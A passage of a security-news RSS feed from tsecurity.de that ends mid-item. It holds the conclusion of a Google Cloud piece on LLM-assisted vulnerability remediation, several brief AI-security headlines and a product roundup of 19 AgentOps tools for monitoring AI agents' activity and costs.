<p role="presentation"><strong>Compliance and auditability:</strong><span> If an AI agent automatically closes a security ticket or generates a patch in the CI/CD pipeline, organizations should maintain immutable audit logs to satisfy frameworks like SOC 2 ,PCI-DSS, FedRAMP, and CMMC. National security deployments must also account for data sovereignty requirements. This logging should record the specific model version that proposed the fix, the deterministic test results that validated it, and the human engineer who approved the merge. Furthermore, because emerging legislation like the EU AI Act emphasizes human oversight for high-risk applications, security teams should carefully evaluate how autonomous remediation workflows align with these evolving global regulatory standards.</span></p>
</li>
</ul></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Screenshot_2026-07-15_at_10.24.22PM.max-1000x1000.png" alt="demistifying image 7">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="bg92b">Figure 7: Flowchart demonstrating the difference between local IDE AI remediation and centralized CI/CD pipeline remediation.</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><h3><span>Conclusion</span></h3>
<p><span>Leveraging LLMs in vulnerability management is a multi-layer solution: Integrating it requires separating workflows by layer. At the enterprise infrastructure level, Risk-Based Vulnerability Management (RBVM) and exposure management are necessary to process the volume of findings and configuration drift. At the product and code security level, LLM-enabled vulnerability assessment and remediation must operate alongside foundational deterministic controls, such as SAST and DAST, to audit custom, open-source, or third-party code.</span></p>
<p><span>Although LLMs can help manage technical debt and accelerate vulnerability discovery, they do not replace secure-by-design principles. The fact that LLM agents are proving exceptionally capable at identifying and exploiting localized memory corruption in memory-unsafe codebases, alongside other primary vectors, should serve as a wake-up call. </span></p>
<p><span>As a long-term strategy aligned with </span><a href="https://media.defense.gov/2022/Nov/10/2003112742/-1/-1/0/CSI_SOFTWARE_MEMORY_SAFETY.PDF" rel="noopener" target="_blank"><span>NSA guidance on Software Memory Safety</span></a><span>, organizations need to phase memory-safe languages into new internal development. LLMs are beginning to expand what is possible here by reducing the manual labor required for code migration. Converting existing C or C++ codebases to Rust has historically been unrealistic due to the large volume of engineering hours needed. While fully automated translation is not a turn-key solution, using LLMs to assist engineers with the bulk of the conversion can make these long-term migrations operationally viable. Beyond internal efforts, organizations should use procurement requirements to incentivize vendors to reduce their reliance on memory-unsafe languages and establish secure configuration defaults over time. Bridging the gap between AI velocity and enterprise defense means building an automated pipeline to manage the current backlog, while architecting systems where entire classes of vulnerabilities and misconfigurations are eliminated by design.</span></p>
<h3><span>Acknowledgements</span></h3>
<p><span>This analysis would not have been possible without the assistance of Google Threat Intelligence Group (GTIG) and other broader Google teams.</span></p></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI Agents Broke the Security Playbook. Here's What Replaces It.]]></title>
<description><![CDATA[Traditional security workflows were built for environments that changed at human speed. Token Security explains why AI agents require a new approach: building on a live identity foundation while giving security teams the flexibility to create workflows tailored to their own environments. [...]]]></description>
<link>https://tsecurity.de/de/3673773/it-security-nachrichten/ai-agents-broke-the-security-playbook-heres-what-replaces-it/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673773/it-security-nachrichten/ai-agents-broke-the-security-playbook-heres-what-replaces-it/</guid>
<pubDate>Thu, 16 Jul 2026 16:23:21 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Traditional security workflows were built for environments that changed at human speed. Token Security explains why AI agents require a new approach: building on a live identity foundation while giving security teams the flexibility to create workflows tailored to their own environments. [...]]]></content:encoded>
</item>
<item>
<title><![CDATA[New ITU Report Finds Community Networks Are Key to Reaching the Unconnected]]></title>
<description><![CDATA[A new ITU report examines how community-centered connectivity efforts are helping connect people living beyond the geographic or business reach of traditional last-mile connectivity models.
The post New ITU Report Finds Community Networks Are Key to Reaching the Unconnected appeared first on Inte...]]></description>
<link>https://tsecurity.de/de/3673753/it-nachrichten/new-itu-report-finds-community-networks-are-key-to-reaching-the-unconnected/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673753/it-nachrichten/new-itu-report-finds-community-networks-are-key-to-reaching-the-unconnected/</guid>
<pubDate>Thu, 16 Jul 2026 16:17:54 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="250" height="115" src="https://www.internetsociety.org/wp-content/uploads/2026/07/India-CN-250x115.jpg" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="A man stands outside on a roof and handles connectivity infrastructure." decoding="async" srcset="https://www.internetsociety.org/wp-content/uploads/2026/07/India-CN-250x115.jpg 250w, https://www.internetsociety.org/wp-content/uploads/2026/07/India-CN-450x206.jpg 450w, https://www.internetsociety.org/wp-content/uploads/2026/07/India-CN-1024x469.jpg 1024w, https://www.internetsociety.org/wp-content/uploads/2026/07/India-CN-768x352.jpg 768w, https://www.internetsociety.org/wp-content/uploads/2026/07/India-CN.jpg 1200w" sizes="(max-width: 250px) 100vw, 250px"></p>
<p>A new ITU report examines how community-centered connectivity efforts are helping connect people living beyond the geographic or business reach of traditional last-mile connectivity models.</p>
<p>The post <a href="https://www.internetsociety.org/blog/2026/07/new-itu-report-finds-community-networks-are-key-to-reaching-the-unconnected/">New ITU Report Finds Community Networks Are Key to Reaching the Unconnected</a> appeared first on <a href="https://www.internetsociety.org/">Internet Society</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[New Framework Redefines AI Penetration Testing Around Prompt Injection and Behavioral Objective Violations]]></title>
<description><![CDATA[A newly proposed framework argues that AI penetration testing must move beyond conventional infrastructure compromise and assess whether an adversary can make an AI-enabled system act against its intended operational purpose. Traditional penetration testing typically measures compromise through o...]]></description>
<link>https://tsecurity.de/de/3673604/it-security-nachrichten/new-framework-redefines-ai-penetration-testing-around-prompt-injection-and-behavioral-objective-violations/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673604/it-security-nachrichten/new-framework-redefines-ai-penetration-testing-around-prompt-injection-and-behavioral-objective-violations/</guid>
<pubDate>Thu, 16 Jul 2026 15:23:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A newly proposed framework argues that AI penetration testing must move beyond conventional infrastructure compromise and assess whether an adversary can make an AI-enabled system act against its intended operational purpose. Traditional penetration testing typically measures compromise through outcomes such…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/new-framework-redefines-ai-penetration-testing-around-prompt-injection-and-behavioral-objective-violations/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/new-framework-redefines-ai-penetration-testing-around-prompt-injection-and-behavioral-objective-violations/">New Framework Redefines AI Penetration Testing Around Prompt Injection and Behavioral Objective Violations</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI Data Centers Are Being Built Faster Than They Can Be Secured]]></title>
<description><![CDATA[AI infrastructure introduces new security risks that traditional data center designs were never built to handle.
The post AI Data Centers Are Being Built Faster Than They Can Be Secured appeared first on SecurityWeek.]]></description>
<link>https://tsecurity.de/de/3673554/it-security-nachrichten/ai-data-centers-are-being-built-faster-than-they-can-be-secured/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673554/it-security-nachrichten/ai-data-centers-are-being-built-faster-than-they-can-be-secured/</guid>
<pubDate>Thu, 16 Jul 2026 15:09:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>AI infrastructure introduces new security risks that traditional data center designs were never built to handle.</p>
<p>The post <a href="https://www.securityweek.com/ai-data-centers-are-being-built-faster-than-they-can-be-secured/">AI Data Centers Are Being Built Faster Than They Can Be Secured</a> appeared first on <a href="https://www.securityweek.com/">SecurityWeek</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI Data Centers Are Being Built Faster Than They Can Be Secured]]></title>
<description><![CDATA[AI infrastructure introduces new security risks that traditional data center designs were never built to handle. The post AI Data Centers Are Being Built Faster Than They Can Be Secured appeared first on SecurityWeek. This article has been indexed from…
Read more →
The post AI Data Centers Are Be...]]></description>
<link>https://tsecurity.de/de/3673546/it-security-nachrichten/ai-data-centers-are-being-built-faster-than-they-can-be-secured/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673546/it-security-nachrichten/ai-data-centers-are-being-built-faster-than-they-can-be-secured/</guid>
<pubDate>Thu, 16 Jul 2026 15:09:32 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>AI infrastructure introduces new security risks that traditional data center designs were never built to handle. The post AI Data Centers Are Being Built Faster Than They Can Be Secured appeared first on SecurityWeek. This article has been indexed from…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/ai-data-centers-are-being-built-faster-than-they-can-be-secured/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/ai-data-centers-are-being-built-faster-than-they-can-be-secured/">AI Data Centers Are Being Built Faster Than They Can Be Secured</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[New Framework Redefines AI Penetration Testing Around Prompt Injection and Behavioral Objective Violations]]></title>
<description><![CDATA[A newly proposed framework argues that AI penetration testing must move beyond conventional infrastructure compromise and assess whether an adversary can make an AI-enabled system act against its intended operational purpose. Traditional penetration testing typically measures compromise through o...]]></description>
<link>https://tsecurity.de/de/3673504/it-security-nachrichten/new-framework-redefines-ai-penetration-testing-around-prompt-injection-and-behavioral-objective-violations/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673504/it-security-nachrichten/new-framework-redefines-ai-penetration-testing-around-prompt-injection-and-behavioral-objective-violations/</guid>
<pubDate>Thu, 16 Jul 2026 14:53:10 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A newly proposed framework argues that AI penetration testing must move beyond conventional infrastructure compromise and assess whether an adversary can make an AI-enabled system act against its intended operational purpose. Traditional penetration testing typically measures compromise through outcomes such as unauthorized access, privilege escalation, data theft, service disruption, or persistence. Those outcomes remain critical […]</p>
<p>The post <a href="https://gbhackers.com/ai-penetration-testing/">New Framework Redefines AI Penetration Testing Around Prompt Injection and Behavioral Objective Violations</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[19 AgentOps tools for monitoring AI activity, issues, and costs]]></title>
<description><![CDATA[With AI increasingly tucked into every cranny of the enterprise, someone has had to step up and provide the tools necessary to discover, track, and monitor all the agents and LLMs and keep them humming along in their various workflows. Thankfully, the DevOps world answered the call, building the ...]]></description>
<link>https://tsecurity.de/de/3673038/it-security-nachrichten/19-agentops-tools-for-monitoring-ai-activity-issues-and-costs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673038/it-security-nachrichten/19-agentops-tools-for-monitoring-ai-activity-issues-and-costs/</guid>
<pubDate>Thu, 16 Jul 2026 12:09:36 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">With AI increasingly tucked into every cranny of the enterprise, someone has had to step up and provide the tools necessary to discover, track, and monitor all the agents and LLMs and keep them humming along in their various workflows. Thankfully, the DevOps world answered the call, building the tools to support our new overlords in an emerging subdiscipline interchangeably called “<a href="https://www.cio.com/article/196239/what-is-aiops-injecting-intelligence-into-it-operations.html">AIOps</a>,” “AgentOps,” and sometimes “agent observability.”</p>



<p class="wp-block-paragraph">Many of the challenges involved in AgentOps are similar to those tackled by traditional DevOps tools and processes. After all, at their foundation, LLMs are just software running on hardware somewhere. Typical issues involving RAM and disk space are just as important in the agent world, maybe more so because AI operations are even more greedy about consuming storage than regular software is.</p>



<p class="wp-block-paragraph">Many of the companies supporting agent observability are big names in DevOps circles, having adapted their stacks to address the idiosyncrasies of modern LLMs. IT teams maintaining enterprise agents can treat the LLMs as just one node in a big graph filled with services that are constantly swapping packets and triggering software jobs. Latency and resource constraints must be managed because end-users don’t care whether it’s an LLM, a database, or a plain-old Python script that’s failing, bringing their work to a grinding halt.</p>



<p class="wp-block-paragraph">But new AI-specific challenges are opening the door to newcomers that are building tools with the peculiarities of LLMs in mind — for example, keeping deeper logs filled with records of prompts. LLMs are also often very non-deterministic by design, making it trickier to pinpoint failure modes. And then there’s the fact that an agent will give a perfectly intelligent answer one minute and hallucinate the next.</p>



<p class="wp-block-paragraph">Relying on many of the same approaches that DevOps tools do, AgentOps tools watch for misbehavior and flag anything out of the ordinary for deeper analysis. This may be as simple as fixing slow responses, but it can also include AI hallucinations and other issues born of LLMs’ non-determanism.</p>



<p class="wp-block-paragraph">Teams trying to choose which agent observability tools is best for their use case should look at the size and nature of their agentic systems and projects. Are they adding AI agent features to an existing product or application, or are they building agentic systems from scratch? Are they more focused on maintaining a stable LLM operation or iterating on new approaches? Is AI the center of attention or just an add-on that’s meant to improve an existing stack?<br><br>The AgentOps and agent observability options listed below share many of the same features but differ in their focus and their attention to the challenges organizations will encounter when incorporating agents into their stacks. Each tool offers a worthwhile place to start understanding how to care for the growing presence of AI in the production world.</p>



<h2 class="wp-block-heading">AgentOps.ai</h2>



<p class="wp-block-paragraph">When teams of agents work together, tracking the conversations are essential for understanding and debugging what’s happening. The SDK from <a href="http://agentops.ai/">AgentOps.ai records</a> events so that the creators can replay past behavior to track details such as token counts, spending, latency, and more. Available as a service and on-premises.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> <a href="https://www.agentops.ai/#pricing">Starts at $40 per month </a>plus usage costs at $0.20 per 1M tokens</p>



<p class="wp-block-paragraph"><em>Standout feature:</em> Replay analytics with “time-travel debugging”</p>



<p class="wp-block-paragraph"><em>Best suited for:</em> Complex agent debugging</p>



<h2 class="wp-block-heading">Arize Phoenix</h2>



<p class="wp-block-paragraph">Debugging prompts and LLM responses requires a nuanced understanding of just what’s happening, in part because of the non-determinism that often enters the process. <a href="https://arize.com/phoenix/">Phoenix</a> from Arize supports this process with robust tracing and the ability to score the results for more precise iteration. Their system can track the results and tool calls from a variety of major platforms (Anthropic, AWS, OpenAI, etc.) that are initiated by the major frameworks (LangChain, LlamaIndex, DSPy, etc.). The result is insight into what data is triggering what chain of responses.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> Small free tier; <a href="https://arize.com/pricing/">Pro plan</a> starts at $50 per month plus costs tied to events</p>



<p class="wp-block-paragraph"><em>Standout feature:</em> LLM-as-a-Judge metrics for tracking quality</p>



<p class="wp-block-paragraph"><em>Best suited for:</em> Teams focusing on iterating for accuracy and quality</p>



<h2 class="wp-block-heading">BigPanda</h2>



<p class="wp-block-paragraph"><a href="https://www.bigpanda.io/">BigPanda</a> has always offered solutions for tracking performance of complex systems. Now the company is drilling deeper into the challenge of detecting and ending the problems that come from models that go awry. BigPanda’s main system relies on historical data and machine learning algorithms to flag issues. Its own agent layer connects the problematic nodes and errant models while dispatching alerts to the right team members.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> “Value-based” table on <a href="https://www.bigpanda.io/pricing/">request</a></p>



<p class="wp-block-paragraph"><em>Standout feature:</em> Automated triage for faster response</p>



<p class="wp-block-paragraph"><em>Best suited for:</em> Large teams seeking to reduce alert fatigue from large customer base</p>



<h2 class="wp-block-heading">Braintrust</h2>



<p class="wp-block-paragraph">Setting up an effective improvement cycle for an AI agent requires a strong feedback loop from production data to the agent’s next generation. <a href="https://www.braintrust.dev/">Braintrust</a> watches the production workload and creates test vectors that expose how an agent may be drifting, regressing, or departing from its path. The tool automates much of the testing and scoring feedback loop so problematic patterns can be discovered and addressed. A core part of the offering is a specialized data store that can track large and sometimes deeply nested collections of tests and their results. Their approach may be summarized by one of their tag lines: “trace everything.”</p>



<p class="wp-block-paragraph"><em>Pricing:</em> Free starter tier; <a href="https://www.braintrust.dev/pricing">Pro plan</a> starts at $249 with some usage-based costs covered</p>



<p class="wp-block-paragraph"><em>Standout feature:</em> Highly scalable trace ingestion</p>



<p class="wp-block-paragraph"><em>Best for:</em> Teams developing strong guardrails through continuous testing</p>



<h2 class="wp-block-heading">Chronicle Labs</h2>



<p class="wp-block-paragraph">When it’s time to release a new version of an agent into the wild, the <a href="https://chronicle-labs.com/">platform from Chronicle Labs </a>specializes in staging it and testing it with a collection of use tests and regression cases. The tools are also helpful during development cycles. “Backtest your agent against reality,” their sales material promises, with a set of tools that mines the production telemetry for solid test vectors that stress every part of the agent with prompts and challenges that the agent will encounter after leaving the safety of the lab.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> On <a href="https://chronicle-labs.com/book-call">request</a></p>



<p class="wp-block-paragraph"><em>Standout feature:</em> Back-testing options for complex testing regimes</p>



<p class="wp-block-paragraph"><em>Best for:</em> Teams chasing strong models with good fidelity to reality</p>



<h2 class="wp-block-heading">Comet Opik</h2>



<p class="wp-block-paragraph">Building a dashboard for tracking every in-flow and out-flow to agents is one way to be ready to watch for and solve problems. <a href="https://www.comet.com/site/products/opik/">Opik from Comet </a>is just such a tool. The DevOps teams can track each call and add its own automated routines to examine the results, score them based on 30-plus metrics, and if desired, send it off to another LLM to evaluate the results. Agents that are constantly failing stand out. DevOps teams can also ask questions like, “Who is using this model and racking up all of the bills?” The same goes for MCP skills and other cogs in the machine.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> Free tiers for open source and small projects; <a href="https://www.comet.com/site/pricing/">Pro plan</a> starts at $19 per month with usage limits</p>



<p class="wp-block-paragraph"><em>Standout feature:</em> Auto-scoring with 30-plus metrics for evaluating traces</p>



<p class="wp-block-paragraph"><em>Best for:</em> Teams focusing on RAG and agentic workflows</p>



<h2 class="wp-block-heading">Datadog</h2>



<p class="wp-block-paragraph">DevOps teams that rely on <a href="https://www.datadoghq.com/">Datadog</a> to track logs across collections of services can also use it to track LLM operations, which are, of course, just another source and sink for data. It will track performance such as time to first token and offer insight into what might be causing an issue, such as lack of memory. Results then get plugged into the same cost-tracking mechanism so the bean counters can predict when the budget will run out. After all, the CFO likely doesn’t care whether the bill comes from an LLM or an old-school S3 storage bucket. Datadog integrates AI into their tools by treating these models as just another source of data.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> Small free tier with <a href="https://www.datadoghq.com/pricing/">multiple paid tiers</a> for various levels of enterprise monitoring</p>



<p class="wp-block-paragraph"><em>Standout feature:</em> Large installed base with broad focus on more than LLMs</p>



<p class="wp-block-paragraph"><em>Best for:</em> Large enterprise teams working with established infrastructure</p>



<h2 class="wp-block-heading">Dynatrace</h2>



<p class="wp-block-paragraph">For more than 20 years, <a href="https://www.dynatrace.com/">Dynatrace</a> has been delivering tools that track dataflows across the full stack. Now that AIs are finding roles in many of the nodes in this complex graph, they’re expanding to track how various AI agents can interact. They want to build one platform that helps track the root cause and, often now, deploy solutions autonomously. They want to focus on being ready to support complex networks of agents that detect problems in either performance or security and then work within defined guardrails to fix them. Determining the right role for their own AI-powered agents is a key part of the product.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> <a href="https://www.dynatrace.com/pricing/">Plans</a> start at $7 per month with larger plans designed for full enterprise monitoring</p>



<p class="wp-block-paragraph"><em>Standout feature:</em> High level of autonomous monitoring designed for large installations</p>



<p class="wp-block-paragraph"><em>Best for: </em>Complex, hybrid environments mixing LLMs with traditional services</p>



<h2 class="wp-block-heading">Galileo</h2>



<p class="wp-block-paragraph">Placing some AI systems into production is often a harrowing experience because the actual performance is impossible to predict, even with the most rigorous tests. <a href="https://galileo.ai/">Galileo</a> offers guardrails that track performance and watch for any behavior that deviates from the ground truth. Their “LLM-as-judge” systems are distilled into compact models that can be run locally for lower costs and faster performance.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> Small free tier; Pro plans start at $50 per month with usage-based limits and costs</p>



<p class="wp-block-paragraph"><em>Standout feature: </em>Real-time guardrails for deployed agents</p>



<p class="wp-block-paragraph"><em>Best for:</em> Security-conscious installations that need to defend against hallucination and data leakage</p>



<h2 class="wp-block-heading">Grafana Labs</h2>



<p class="wp-block-paragraph">Long the go-to source for<a href="https://grafana.com/oss/"> open source </a>telemetry, <a href="https://grafana.com/products/cloud/ai-assistant/?pg=hp&amp;plcmt=txt-img-alternating">Grafana Labs</a> now tracks performance of AI models in constellations of services. Grafana tracks the evolution of answers across the agentic network to recognize how small changes or hallucinations can spin out of control. It bills its system as “actually useful AI” and has even trademarked it. Its cloud assistant can configure and reconfigure the Grafana dash to offer the right level of observability. Its system includes AI-level analysis that can flag models that are responding quickly but offering bad answers because of problems such as model drift or context degradation.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> Basic free tier; <a href="https://grafana.com/pricing/">Pro plan</a> begins at $19 per month, includes better retention and some usage-based fees </p>



<p class="wp-block-paragraph"><em>Standout feature: </em>Full-stack tool with fully integrated LLM tools</p>



<p class="wp-block-paragraph"><em>Best for:</em> Large, enterprise-scale system adding AI</p>



<h2 class="wp-block-heading">Helicone</h2>



<p class="wp-block-paragraph">Sometimes shoehorning in another tool into the chain can be tricky. <a href="https://www.helicone.ai/">Helicone</a> is designed as a smart network proxy that will route all model requests while keeping solid debugging records from the data as it goes by. The data it captures can be turned into nice charts that make it easy to spot latency issues or model failures. Naturally, tracking AI spend is also a feature in much demand as bills continue to climb.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> Small free tier; <a href="https://www.helicone.ai/pricing">Pro plan</a> starts at $79 per month, includes features such as team collaboration and improved querying</p>



<p class="wp-block-paragraph"><em>Standout feature:</em> Proxy-based integration</p>



<p class="wp-block-paragraph"><em>Best for:</em> Development teams who want to add better monitoring features quickly</p>



<h2 class="wp-block-heading">Laminar</h2>



<p class="wp-block-paragraph">Tracking agents in development and production means building strong storehouses of data enumerating what happened. <a href="https://laminar.sh/">Laminar</a> works closely with OpenTelemetry to follow agents operating in production so that flaws and failure modes can be understood from log files stored efficiently with their own compression scheme. Developers can search through traces with an SQL-ish language and Laminar’s transcript view illuminates what happened. When necessary, the traces can enable developers to scroll back in time and replay the same inputs for debugging. The goal is to offer deep insights with high-level visibility of how well the agents are meeting business objectives.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> Small free tier; “Hobby” tier that adds more features at $30; <a href="https://laminar.sh/pricing">Pro level</a> starts at $150 per month</p>



<p class="wp-block-paragraph"><em>Standout feature:</em> Open-source license makes self-hosting a viable option</p>



<p class="wp-block-paragraph"><em>Best for:</em> Teams fully able to leverage open-source responsibilities</p>



<h2 class="wp-block-heading">LangChain LangSmith</h2>



<p class="wp-block-paragraph">Real-time data from agents is essential for managing any mutli-agent system in production. LangSmith from <a href="https://www.langchain.com/">LangChain</a> traces costs, tools, and progress toward solutions for a wide collection of agents using SDKs for Python, TypeScript, Go, and Java. The OpenTelemetry-based solution watches for anomalies, issuing warnings and alerts through dashboards and communication channels such as PagerDuty. Deeper analysis can reveal issues such as topic clustering or odd patterns of failure. Coordination with agent deployment platforms such as LangGraph and deepagents ensures greater focus on successful resolution of assignments.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> Free for solo developers; <a href="https://www.langchain.com/pricing">Pro teams</a> start at $39 per person per month </p>



<p class="wp-block-paragraph"><em>Standout feature:</em> Systematic approach to regression testing of prompts</p>



<p class="wp-block-paragraph"><em>Best for:</em> Teams relying on LangChain and LangGraph frameworks for supporting complex agentic behavior</p>



<h2 class="wp-block-heading">Lunary</h2>



<p class="wp-block-paragraph">Watching the user experience is essential for building AI applications such as chatbots and assistants. <a href="https://lunary.ai/">Lunary</a> offers a proxy that traces all interactions and then builds analytical dashboards for measuring metrics such as user satisfaction or model costs. One common usage is finding frequent topics and looking at the responses to ensure they deliver. When prompts aren’t perfect, Lunary lets teams iterate on the prompt text until the right answers are coming out. Its proxy structure and common API format enables Lunary to promise to work with “any LLM, any framework.”</p>



<p class="wp-block-paragraph"><em>Pricing:</em> Free tier; <a href="https://lunary.ai/pricing">Pro plan</a> starts at $20 per month</p>



<p class="wp-block-paragraph"><em>Standout feature:</em> Deep integration with humans for reviewing and optimizing results</p>



<p class="wp-block-paragraph"><em>Best for:</em> Startups focused on rapid prompt innovation</p>



<h2 class="wp-block-heading">NewRelic</h2>



<p class="wp-block-paragraph">The platform that began tracking performance of some web applications is now powerful enough to track the flows of data through complex agentic ecologies. <a href="https://newrelic.com/platform/ai-observability">NewRelic’s</a> AI-driven monitoring watches for golden signals that can indicate misbehavior or worse throughout the entire lifecycle. It tracks every detail of the interactions through protocols such as MCP and then makes this available to the AI engineers responsible for performance. The dashboard provides the insights necessary to watch for toxic behavior, overt bias, drift, and overblown hallucinations. Predicting and maybe even controlling the cost is also a growing role as tokenomics becomes as important as response time.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> Free tier; Pro plan fees available through website</p>



<p class="wp-block-paragraph"><em>Standout feature: </em>Full-stack support with hundreds of integrations with other tools</p>



<p class="wp-block-paragraph"><em>Best for:</em> Established enterprise teams mixing in AI</p>



<h2 class="wp-block-heading">Nova AI Ops</h2>



<p class="wp-block-paragraph">The goal of <a href="https://novaaiops.com/">Nova AI Ops </a>is to deliver a team of agents that watch over a cloud and make it, at least partially, self-healing. Each agent uses a mixture of predictive AI and machine learning to watch cloud telemetry reports for anomalies. Then they calculate the “blast radius” and decide whether this is a problem that can be fixed automatically “while you sleep” or saved for the human supervisors. These tools are aimed not just on LLM operations but on the stack as a whole.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> Small free tier; <a href="https://novaaiops.com/pricing">Standard pricing </a> begins at $40 per user per month with usage billing</p>



<p class="wp-block-paragraph"><em>Standout feature:</em> Focus on software reliability engineering helps teams deliver stable stacks</p>



<p class="wp-block-paragraph"><em>Best for:</em> Teams that want to integrate LLMs into incident response and stability management</p>



<h2 class="wp-block-heading">Splunk</h2>



<p class="wp-block-paragraph">The platform that began delivering smart logging is now fully AI capable, offering solutions that can watch over agents with much the same way that it continues to track microservices. <a href="https://www.splunk.com/en_us/solutions/splunk-artificial-intelligence.html">Splunk</a> now includes a fairly large amount of predictive AI for learning from the information in the logs and then turning this learning into fast solutions. This AI assistant can track deployed AI models connected by protocols such as MCP and watch over behavior while delivering the ability for users to drill down and explore what’s working and what’s failing. Their AI Canvas is meant to offer a central hub where the AI scientists can track both the local behavior of the models as well as their role in a larger data ecosystem.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> <a href="https://www.splunk.com/en_us/resources/splunk-pricing-options.html">Activity-based pricing</a> tracks usage of LLM backends and storage</p>



<p class="wp-block-paragraph"><em>Standout feature:</em> Ready to scale to large enterprise stacks</p>



<p class="wp-block-paragraph"><em>Best for:</em> Teams with legacy systems that are folding in agentic options</p>



<h2 class="wp-block-heading">SuperPenguin</h2>



<p class="wp-block-paragraph">One of the most important parts of an AI service is the bill. <a href="https://superpenguin.ai/#features">SuperPenguin</a> is a product designed to track consumption and make predictions so that the CFO won’t be surprised. The goal is to provide solid estimates about the total cost of each product by allocating costs to customers, features, and teams. If there’s a sudden shift, a “spike detector” will raise an alarm so that dev teams can ensure that the AI spend is worth it.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> Small free tier for experimentation; Growth tier for teams, starting at $30 per month; <a href="https://superpenguin.ai/#pricing">Pro tier </a>offers deeper options starting at $200 per month</p>



<p class="wp-block-paragraph"><em>Standout feature: </em>Strong accounting with invoice reconciliation and PR-level usage tracking</p>



<p class="wp-block-paragraph"><em>Best for:</em> Teams that need precise cost accounting</p>



<h2 class="wp-block-heading">Vellum</h2>



<p class="wp-block-paragraph">Prompt engineers spend time fussing over the details of tweaking, improving, and enhancing the words that guide the LLM. <a href="https://www.vellum.ai/">Vellum</a> started as a company that would provide the pipeline so that you could manage and improve the prompts that ran again and again. Now the system is growing more powerful, offering a higher level of automation that lets you meta-manage the prompt chain. They’ve also begun marketing it as a form of personal assistant with pre-built connections to many of the major services such as Gmail. Its <a href="https://github.com/vellum-ai/llm-cost-optimizer">llm-cost-optimizer </a>can juggle multiple options while finding a cheaper way to execute a prompt, a process the company suggests can save 60% or more.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> Open-source free tier; Pro plan starts at $35 per month</p>



<p class="wp-block-paragraph"><em>Standout feature:</em> Focus on multi-model pipelines for true agentic solutions</p>



<p class="wp-block-paragraph"><em>Best for:</em> Product teams with complex prompt engineering workflows</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Lineation.ai focuses on runtime security for autonomous AI agents]]></title>
<description><![CDATA[Lineation.ai has announced the public launch of its comprehensive agentic security platform. Delivering a solution at the intersection of GenAI Application Security and Runtime Defense, Lineation introduces a Zero Trust unified control plane and a lightweight endpoint daemon that secures autonomo...]]></description>
<link>https://tsecurity.de/de/3672929/it-security-nachrichten/lineationai-focuses-on-runtime-security-for-autonomous-ai-agents/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672929/it-security-nachrichten/lineationai-focuses-on-runtime-security-for-autonomous-ai-agents/</guid>
<pubDate>Thu, 16 Jul 2026 11:23:27 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
